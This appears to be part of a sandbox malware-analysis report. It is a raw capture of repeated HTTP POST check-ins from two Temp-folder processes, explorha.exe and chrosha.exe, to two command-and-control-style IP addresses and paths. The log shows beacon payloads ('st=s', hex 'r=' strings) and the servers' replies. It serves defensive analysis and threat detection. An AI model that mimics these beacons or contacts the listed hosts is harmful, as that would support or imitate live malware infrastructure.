Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.5	50298	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:04.117784023 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:04.364065886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.5	50299	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:04.359121084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:04.610210896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.5	50300	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:04.612246990 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:04.860893965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.5	50301	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:04.964756966 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:05.212872028 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.5	50302	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:05.228532076 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:05.475997925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.5	50303	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:05.463726044 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:05.711889029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.5	50304	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:05.731981039 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:05.986743927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.5	50305	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:06.073044062 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:06.322376013 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.5	50306	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:06.350641966 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:06.596870899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.5	50307	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:06.574487925 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:06.828105927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.5	50308	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:06.851327896 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:07.103713036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.5	50309	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:07.198774099 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:07.447228909 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.5	50310	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:07.463725090 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:07.712004900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.5	50311	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:07.695970058 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:07.941240072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.5	50312	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:07.957818031 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:08.204591036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.5	50313	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:08.306380987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:08.554958105 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.5	50314	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:08.572854996 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:08.820569038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.5	50315	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:08.802396059 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:09.051578999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.5	50316	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:09.072012901 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:09.323909044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.5	50317	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:09.417165041 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:09.665031910 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.5	50318	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:09.679480076 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:09.923858881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.5	50319	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:09.912117958 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:10.160268068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.5	50320	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:10.172388077 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
